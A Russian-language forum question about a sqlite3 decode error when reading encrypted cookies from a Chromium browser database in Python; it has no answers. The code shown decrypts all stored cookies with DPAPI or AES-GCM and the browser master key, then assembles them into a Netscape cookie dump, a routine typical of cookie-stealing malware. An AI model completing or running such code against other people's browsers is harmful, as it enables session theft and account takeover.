sqlite3 и сбор куки из браузера на основе chromium

Я пишу плагин на python для браузера на основе chromium для работы с cookie и возникают проблемы с их декодированием.

sqlite3.OperationalError: Could not decode to UTF-8 column 'encrypted_value' with text 'v10KMh,����A�@]\��$RxV6�����9?�o�][��Z�����)��j����k���'

код:

c.execute('SELECT host_key, name, value, path, expires_utc, is_secure, is_httponly, encrypted_value FROM cookies')

for host_key, name, value, path, expires_utc, is_secure, is_httponly, encrypted_value in c.fetchall():
    print(name)
    try:
        decrypted_value = win32crypt.CryptUnprotectData(encrypted_value, None, None, None, 0)[1].decode('utf-8') or value or 0
    except:
        decrypted_value = AES.new((get_masterkey(keypath)), (AES.MODE_GCM), nonce=(encrypted_value[3:15])).decrypt_and_verify(encrypted_value[15:-16], encrypted_value[-16:])

    cookdata += str(host_key) + '\t' + str(is_httponly) + '\t/\t' + str(is_secure) + '\t' + str(expires_utc) + '\t' + str(name) + '\t' + str(decrypted_value.decode()) + '\n'

Ответы (0 шт):